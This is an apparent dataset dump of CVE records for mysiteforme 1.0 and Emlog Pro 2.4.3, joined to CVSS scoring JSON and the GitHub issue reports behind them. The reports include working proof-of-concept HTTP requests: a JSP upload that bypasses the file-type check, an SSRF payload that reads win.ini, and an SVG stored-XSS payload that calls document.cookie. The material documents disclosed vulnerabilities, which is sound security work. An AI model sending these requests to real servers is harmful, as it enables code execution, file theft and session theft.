"privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1" }, "exploitabilityScore": 2.8, "impactScore": 5.9, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV40": [ { "cvssData": { "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "Safety": "NOT_DEFINED", "attackComplexity": "LOW", "attackRequirements": "NONE", "attackVector": "NETWORK", "availabilityRequirement": "NOT_DEFINED", "baseScore": 5.1, "baseSeverity": "MEDIUM", "confidentialityRequirement": "NOT_DEFINED", "exploitMaturity": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "privilegesRequired": "HIGH", "providerUrgency": "NOT_DEFINED", "subAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "userInteraction": "NONE", "valueDensity": "NOT_DEFINED", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "version": "4.0", "vulnAvailabilityImpact": "LOW", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnerabilityResponseEffort": "NOT_DEFINED" }, "source": "cna@vuldb.com", "type": "Secondary" } ] }

[ { "source": "cna@vuldb.com", "tags": [ "Exploit", "Issue Tracking" ], "url": "https://github.com/wangl1989/mysiteforme/issues/55" }, { "source": "cna@vuldb.com", "tags": [ "Exploit", "Issue Tracking" ], "url": "https://github.com/wangl1989/mysiteforme/issues/55#issue-2757868654" }, { "source": "cna@vuldb.com", "tags": [ "Permissions Required", "VDB Entry" ], "url": "https://vuldb.com/?ctiid.290212" }, { "source": "cna@vuldb.com", "tags": [ "Third Party Advisory", "VDB Entry" ], "url": "https://vuldb.com/?id.290212" }, { "source": "cna@vuldb.com", "tags": [ "Third Party Advisory", "VDB Entry" ], "url": "https://vuldb.com/?submit.468511" } ]

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[ "434" ]

434

https://github.com/wangl1989/mysiteforme/issues/55#issue-2757868654

[ "Exploit", "Issue Tracking" ]

github.com

[ "wangl1989", "mysiteforme" ]

Code Audit: Src/main/java/com/mysiteform/admin/service/ipl/LocalUploadServiceImpl. The upload file in src/main/java is not protected, resulting in the ability to upload JSP Trojans and HTML files ![image](https://github.com/user-attachments/assets/f7191c10-bd09-4b46-b5d7-e234f0125332) ![image](https://github.com/user-attachments/assets/5405ec87-82db-4e34-8866-fffc9bc5db9b) Vulnerability exploitation: Upload image interface, just did front-end suffix verification. First upload the image file, then capture the package and change the suffix to JSP or HTML ![image](https://github.com/user-attachments/assets/5c21d805-9a4c-4d02-b973-b666efccaca4) ``` POST /file/upload/ HTTP/1.1 Host: 192.168.52.132:8080 Content-Length: 209 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Accept: application/json, text/javascript, */*; q=0.01 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryUJ6YUNERWxp4xW7u Origin: http://192.168.52.132:8080 Referer: http://192.168.52.132:8080/admin/system/site/show Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: JSESSIONID=cb29c68b-b9cd-4517-8391-f006b785386e Connection: close ------WebKitFormBoundaryUJ6YUNERWxp4xW7u Content-Disposition: form-data; name="test"; filename="123.jsp" Content-Type: image/jpeg <% out.println("test1234"); %> ------WebKitFormBoundaryUJ6YUNERWxp4xW7u-- ``` ![image](https://github.com/user-attachments/assets/47c7f09e-6816-490c-85d8-c661a7029d51) http://192.168.52.132:8080/static/upload/db499a9f-c726-409d-b741-2cb82e1a9b01.jsp ![image](https://github.com/user-attachments/assets/18f76e78-14fd-4b40-a668-416efb2a669d) ![image](https://github.com/user-attachments/assets/d0085717-5d04-44fd-bfc1-78bece7aeb9f) http://192.168.52.132:8080/static/upload/f4c37e5f-b649-4a06-9075-11aa7d4a885a.html ![image](https://github.com/user-attachments/assets/325b00c7-2a7f-4a88-9d09-1a34d83593c9)

Mysiteforme 1.0 has arbitrary File Upload

https://api.github.com/repos/wangl1989/mysiteforme/issues/55/comments

1

2024-12-24T14:25:36Z

2025-02-11T16:17:38Z

https://github.com/wangl1989/mysiteforme/issues/55

2,757,868,654

55

6,484

CVE-2024-13139

2025-01-05T11:15:07.247

A vulnerability was found in wangl1989 mysiteforme 1.0. It has been rated as critical. This issue affects the function doContent of the file src/main/java/com/mysiteform/admin/controller/system/FileController. The manipulation of the argument content leads to server-side request forgery. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "PARTIAL", "baseScore": 6.5, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 8, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "cna@vuldb.com", "type": "Secondary", "userInteractionRequired": false } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "LOW", "baseScore": 6.3, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "version": "3.1" }, "exploitabilityScore": 2.8, "impactScore": 3.4, "source": "cna@vuldb.com", "type": "Secondary" }, { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 8.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1" }, "exploitabilityScore": 2.8, "impactScore": 5.9, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV40": [ { "cvssData": { "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "Safety": "NOT_DEFINED", "attackComplexity": "LOW", "attackRequirements": "NONE", "attackVector": "NETWORK", "availabilityRequirement": "NOT_DEFINED", "baseScore": 5.3, "baseSeverity": "MEDIUM", "confidentialityRequirement": "NOT_DEFINED", "exploitMaturity": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "privilegesRequired": "LOW", "providerUrgency": "NOT_DEFINED", "subAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "userInteraction": "NONE", "valueDensity": "NOT_DEFINED", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "version": "4.0", "vulnAvailabilityImpact": "LOW", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnerabilityResponseEffort": "NOT_DEFINED" }, "source": "cna@vuldb.com", "type": "Secondary" } ] }

[ { "source": "cna@vuldb.com", "tags": [ "Exploit", "Issue Tracking" ], "url": "https://github.com/wangl1989/mysiteforme/issues/56" }, { "source": "cna@vuldb.com", "tags": [ "Exploit", "Issue Tracking" ], "url": "https://github.com/wangl1989/mysiteforme/issues/56#issue-2757876365" }, { "source": "cna@vuldb.com", "tags": [ "Permissions Required", "VDB Entry" ], "url": "https://vuldb.com/?ctiid.290213" }, { "source": "cna@vuldb.com", "tags": [ "Third Party Advisory", "VDB Entry" ], "url": "https://vuldb.com/?id.290213" }, { "source": "cna@vuldb.com", "tags": [ "Third Party Advisory", "VDB Entry" ], "url": "https://vuldb.com/?submit.468513" } ]

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[ "918" ]

918

https://github.com/wangl1989/mysiteforme/issues/56

[ "Exploit", "Issue Tracking" ]

github.com

[ "wangl1989", "mysiteforme" ]

Code Audit: The doContent method in src/main/java/com/mysiteform/admin/controller/system/FileController. java does not filter the incoming content ![image](https://github.com/user-attachments/assets/b132c49c-7fd4-4b3e-825d-cba9f522c9ff) Follow up with uploadLocalImg, the general process is to read the file based on the passed file name, and then upload it to the static/upload/directory ![image](https://github.com/user-attachments/assets/e094da6c-a70f-40f1-ac14-827fe3ad2501) Vulnerability exploitation: ``` POST /file/doContent HTTP/1.1 Host: 192.168.52.132:8080 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Cookie: JSESSIONID=b566f4d3-be2c-45a5-b4a6-f9e3d35e7b11 Content-Length: 46 content=<img src="file:///C:/windows/win.ini"> ``` ![image](https://github.com/user-attachments/assets/aaee9d69-65cf-4c06-8f6e-dfe1f9d5b60e) Open and return: http://192.168.52.132:8080/static/upload/00a4a07c -9023-45e4-8229-8f3f0ddcfccd.ini ![image](https://github.com/user-attachments/assets/3f0688d6-7a69-4e92-9f30-2e4bfabdd294) ![image](https://github.com/user-attachments/assets/cd8a88b7-0806-492a-bb17-9cbae0ba5c4c)

Mysiteforme 1.0 has SSRF

https://api.github.com/repos/wangl1989/mysiteforme/issues/56/comments

1

2024-12-24T14:32:54Z

2025-02-11T16:07:58Z

https://github.com/wangl1989/mysiteforme/issues/56

2,757,876,365

56

6,485

CVE-2024-13139

2025-01-05T11:15:07.247

A vulnerability was found in wangl1989 mysiteforme 1.0. It has been rated as critical. This issue affects the function doContent of the file src/main/java/com/mysiteform/admin/controller/system/FileController. The manipulation of the argument content leads to server-side request forgery. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "PARTIAL", "baseScore": 6.5, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 8, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "cna@vuldb.com", "type": "Secondary", "userInteractionRequired": false } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "LOW", "baseScore": 6.3, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "version": "3.1" }, "exploitabilityScore": 2.8, "impactScore": 3.4, "source": "cna@vuldb.com", "type": "Secondary" }, { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 8.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1" }, "exploitabilityScore": 2.8, "impactScore": 5.9, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV40": [ { "cvssData": { "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "Safety": "NOT_DEFINED", "attackComplexity": "LOW", "attackRequirements": "NONE", "attackVector": "NETWORK", "availabilityRequirement": "NOT_DEFINED", "baseScore": 5.3, "baseSeverity": "MEDIUM", "confidentialityRequirement": "NOT_DEFINED", "exploitMaturity": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "privilegesRequired": "LOW", "providerUrgency": "NOT_DEFINED", "subAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "userInteraction": "NONE", "valueDensity": "NOT_DEFINED", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "version": "4.0", "vulnAvailabilityImpact": "LOW", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnerabilityResponseEffort": "NOT_DEFINED" }, "source": "cna@vuldb.com", "type": "Secondary" } ] }

[ { "source": "cna@vuldb.com", "tags": [ "Exploit", "Issue Tracking" ], "url": "https://github.com/wangl1989/mysiteforme/issues/56" }, { "source": "cna@vuldb.com", "tags": [ "Exploit", "Issue Tracking" ], "url": "https://github.com/wangl1989/mysiteforme/issues/56#issue-2757876365" }, { "source": "cna@vuldb.com", "tags": [ "Permissions Required", "VDB Entry" ], "url": "https://vuldb.com/?ctiid.290213" }, { "source": "cna@vuldb.com", "tags": [ "Third Party Advisory", "VDB Entry" ], "url": "https://vuldb.com/?id.290213" }, { "source": "cna@vuldb.com", "tags": [ "Third Party Advisory", "VDB Entry" ], "url": "https://vuldb.com/?submit.468513" } ]

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[ "918" ]

918

https://github.com/wangl1989/mysiteforme/issues/56#issue-2757876365

[ "Exploit", "Issue Tracking" ]

github.com

[ "wangl1989", "mysiteforme" ]

Code Audit: The doContent method in src/main/java/com/mysiteform/admin/controller/system/FileController. java does not filter the incoming content ![image](https://github.com/user-attachments/assets/b132c49c-7fd4-4b3e-825d-cba9f522c9ff) Follow up with uploadLocalImg, the general process is to read the file based on the passed file name, and then upload it to the static/upload/directory ![image](https://github.com/user-attachments/assets/e094da6c-a70f-40f1-ac14-827fe3ad2501) Vulnerability exploitation: ``` POST /file/doContent HTTP/1.1 Host: 192.168.52.132:8080 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Cookie: JSESSIONID=b566f4d3-be2c-45a5-b4a6-f9e3d35e7b11 Content-Length: 46 content=<img src="file:///C:/windows/win.ini"> ``` ![image](https://github.com/user-attachments/assets/aaee9d69-65cf-4c06-8f6e-dfe1f9d5b60e) Open and return: http://192.168.52.132:8080/static/upload/00a4a07c -9023-45e4-8229-8f3f0ddcfccd.ini ![image](https://github.com/user-attachments/assets/3f0688d6-7a69-4e92-9f30-2e4bfabdd294) ![image](https://github.com/user-attachments/assets/cd8a88b7-0806-492a-bb17-9cbae0ba5c4c)

Mysiteforme 1.0 has SSRF

https://api.github.com/repos/wangl1989/mysiteforme/issues/56/comments

1

2024-12-24T14:32:54Z

2025-02-11T16:07:58Z

https://github.com/wangl1989/mysiteforme/issues/56

2,757,876,365

56

6,486

CVE-2024-13140

2025-01-05T12:15:05.473

A vulnerability classified as problematic has been found in Emlog Pro up to 2.4.3. Affected is an unknown function of the file /admin/article.php?action=upload_cover of the component Cover Upload Handler. The manipulation of the argument image leads to cross site scripting. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "NONE", "baseScore": 4, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:L/Au:S/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "cna@vuldb.com", "type": "Secondary", "userInteractionRequired": false } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 3.5, "baseSeverity": "LOW", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N", "version": "3.1" }, "exploitabilityScore": 2.1, "impactScore": 1.4, "source": "cna@vuldb.com", "type": "Secondary" }, { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 5.4, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "LOW", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "version": "3.1" }, "exploitabilityScore": 2.3, "impactScore": 2.7, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV40": [ { "cvssData": { "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "Safety": "NOT_DEFINED", "attackComplexity": "LOW", "attackRequirements": "NONE", "attackVector": "NETWORK", "availabilityRequirement": "NOT_DEFINED", "baseScore": 5.3, "baseSeverity": "MEDIUM", "confidentialityRequirement": "NOT_DEFINED", "exploitMaturity": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "privilegesRequired": "LOW", "providerUrgency": "NOT_DEFINED", "subAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "userInteraction": "NONE", "valueDensity": "NOT_DEFINED", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "version": "4.0", "vulnAvailabilityImpact": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnerabilityResponseEffort": "NOT_DEFINED" }, "source": "cna@vuldb.com", "type": "Secondary" } ] }

[ { "source": "cna@vuldb.com", "tags": [ "Exploit", "Issue Tracking" ], "url": "https://github.com/emlog/emlog/issues/312" }, { "source": "cna@vuldb.com", "tags": [ "Exploit", "Issue Tracking" ], "url": "https://github.com/emlog/emlog/issues/312#issue-2758546837" }, { "source": "cna@vuldb.com", "tags": [ "Permissions Required", "VDB Entry" ], "url": "https://vuldb.com/?ctiid.290214" }, { "source": "cna@vuldb.com", "tags": [ "Permissions Required", "VDB Entry" ], "url": "https://vuldb.com/?id.290214" }, { "source": "cna@vuldb.com", "tags": [ "Third Party Advisory", "VDB Entry" ], "url": "https://vuldb.com/?submit.468753" } ]

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[ "79" ]

79

https://github.com/emlog/emlog/issues/312

[ "Exploit", "Issue Tracking" ]

github.com

[ "emlog", "emlog" ]

# Summary An XSS vulnerability has been discovered in emlog pro 2.4.3. The vulnerability stems from the fact that `/admin/article.php` does not filter malicious SVG files. This vulnerability allows an attacker with content editing permissions to exploit the system by uploading an SVG file containing malicious XML code as the cover image for an article. # Details The vulnerability exists in the article cover image upload functionality. Attackers can upload an SVG file that contains malicious XML code. ![image](https://github.com/user-attachments/assets/8626d4bc-1eaf-40d4-9489-6805ba873dcc) ![image](https://github.com/user-attachments/assets/a4b02125-bead-434a-af52-1475cf2e1635) # POC ``` POST /admin/article.php?action=upload_cover HTTP/1.1 Host: target-ip Content-Length: 1116 Accept: */* X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.95 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBXHN1jTPmYb3jbAq Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: [users'cookie] Connection: keep-alive ------WebKitFormBoundaryBXHN1jTPmYb3jbAq Content-Disposition: form-data; name="image"; filename="alert.svg" Content-Type: image/svg+xml <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 128 128"> <path fill="#D26383" d="M115.4 30.7L67.1 2.9c-.8-.5-1.9-.7-3.1-.7-1.2 0-2.3.3-3.1.7l-48 27.9c-1.7 1-2.9 3.5-2.9 5.4v55.7c0 1.1.2 2.4 1 3.5l106.8-62c-.6-1.2-1.5-2.1-2.4-2.7z" /> <path fill="#9C033A" d="M10.7 95.3c.5.8 1.2 1.5 1.9 1.9l48.2 27.9c.8.5 1.9.7 3.1.7 1.2 0 2.3-.3 3.1-.7l48-27.9c1.7-1 2.9-3.5 2.9-5.4V36.1c0-.9-.1-1.9-.6-2.8l-106.6 62z" /> <path fill="#fff" d="M85.3 76.1C81.1 83.5 73.1 88.5 64 88.5c-13.5 0-24.5-11-24.5-24.5s11-24.5 24.5-24.5c9.1 0 17.1 5 21.3 12.5l13-7.5c-6.8-11.9-19.6-20-34.3-20-21.8 0-39.5 17.7-39.5 39.5s17.7 39.5 39.5 39.5c14.6 0 27.4-8 34.2-19.8l-12.9-7.6z" /> <path d="M82.1 61.8h5.2v-5.3h4.4v5.3H97v4.4h-5.3v5.2h-4.4v-5.2h-5.2v-4.4zm18.5 0h5.2v-5.3h4.4v5.3h5.3v4.4h-5.3v5.2h-4.4v-5.2h-5.2v-4.4z" fill="#fff" /> <animate onbegin="alert(document.cookie)"></animate> </svg> ------WebKitFormBoundaryBXHN1jTPmYb3jbAq-- ``` ![image](https://github.com/user-attachments/assets/034b7513-f9c1-4bb0-a0d9-9f896e5addb6)

emlog pro 2.4.3 Stored XSS Vulnerability in /admin/article.php

https://api.github.com/repos/emlog/emlog/issues/312/comments

2

2024-12-25T06:37:01Z

2025-03-28T04:43:16Z

https://github.com/emlog/emlog/issues/312

2,758,546,837

312

6,487

CVE-2024-13140

2025-01-05T12:15:05.473

A vulnerability classified as problematic has been found in Emlog Pro up to 2.4.3. Affected is an unknown function of the file /admin/article.php?action=upload_cover of the component Cover Upload Handler. The manipulation of the argument image leads to cross site scripting. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "NONE", "baseScore": 4, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:L/Au:S/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "cna@vuldb.com", "type": "Secondary", "userInteractionRequired": false } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 3.5, "baseSeverity": "LOW", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N", "version": "3.1" }, "exploitabilityScore": 2.1, "impactScore": 1.4, "source": "cna@vuldb.com", "type": "Secondary" }, { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 5.4, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "LOW", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "version": "3.1" }, "exploitabilityScore": 2.3, "impactScore": 2.7, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV40": [ { "cvssData": { "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "Safety": "NOT_DEFINED", "attackComplexity": "LOW", "attackRequirements": "NONE", "attackVector": "NETWORK", "availabilityRequirement": "NOT_DEFINED", "baseScore": 5.3, "baseSeverity": "MEDIUM", "confidentialityRequirement": "NOT_DEFINED", "exploitMaturity": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "privilegesRequired": "LOW", "providerUrgency": "NOT_DEFINED", "subAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "userInteraction": "NONE", "valueDensity": "NOT_DEFINED", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "version": "4.0", "vulnAvailabilityImpact": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnerabilityResponseEffort": "NOT_DEFINED" }, "source": "cna@vuldb.com", "type": "Secondary" } ] }

[ { "source": "cna@vuldb.com", "tags": [ "Exploit", "Issue Tracking" ], "url": "https://github.com/emlog/emlog/issues/312" }, { "source": "cna@vuldb.com", "tags": [ "Exploit", "Issue Tracking" ], "url": "https://github.com/emlog/emlog/issues/312#issue-2758546837" }, { "source": "cna@vuldb.com", "tags": [ "Permissions Required", "VDB Entry" ], "url": "https://vuldb.com/?ctiid.290214" }, { "source": "cna@vuldb.com", "tags": [ "Permissions Required", "VDB Entry" ], "url": "https://vuldb.com/?id.290214" }, { "source": "cna@vuldb.com", "tags": [ "Third Party Advisory", "VDB Entry" ], "url": "https://vuldb.com/?submit.468753" } ]

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[ "79" ]

79

https://github.com/emlog/emlog/issues/312#issue-2758546837

[ "Exploit", "Issue Tracking" ]

github.com

[ "emlog", "emlog" ]

